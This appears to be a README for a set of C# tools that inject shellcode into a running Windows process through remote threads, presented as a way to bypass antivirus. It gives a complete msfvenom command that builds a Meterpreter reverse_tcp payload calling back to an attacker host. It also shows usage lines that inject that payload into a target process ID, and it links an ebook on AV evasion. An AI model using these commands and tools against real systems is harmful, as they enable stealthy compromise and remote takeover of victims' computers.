Creating Remote Thread into Target Process , (Remote Thread Injection by C# + Delegate Techniques)
Related Links for "Mitre ATT&CK":
Process Injection: Portable Executable Injection ==> https://attack.mitre.org/techniques/T1055/002/
Process Injection: Dynamic-link Library Injection ==> https://attack.mitre.org/techniques/T1055/001/
Your Payload Should be Msfvenom Payload ...
msfvenom –platform windows –arch x86_64 -p windows/x64/meterpreter/reverse_tcp lhost=w.x.y.z -f c > payload.txt
Code1: NativePayload_Tinjection.exe [TPID] [PAYLOAD]
Code2: NativePayload_Tinjectionx.exe [TPID] [PAYLOAD]
Code3: NativePayload_Tinjection2.exe [TPID] [PAYLOAD]
Code4: NativePayload_Tinjection2nt.exe [TPID] [PAYLOAD]
EXAMPLE: NativePayload_Tinjection.exe 2452 "FC,48,83,00,..."
EXAMPLE: NativePayload_Tinjectionx.exe 2452 "FC,48,83,00,..."
EXAMPLE: NativePayload_Tinjection2.exe 2452 "FC,48,83,00,..."
EXAMPLE: NativePayload_Tinjection2nt.exe 2452 "FC,48,83,00,..."
Article [1]: https://www.linkedin.com/pulse/bypassing-anti-virus-creating-remote-thread-target-mohammadbagher
step by step => Chapter 14: C# Delegate & Remote Thread Injection Technique (Part1)
online eBook, (chapters): https://damonmohammadbagher.github.io/Posts/ebookBypassingAVsByCsharpProgramming/
NativePayload_Tinjection.cs
NativePayload_Tinjection2nt.cs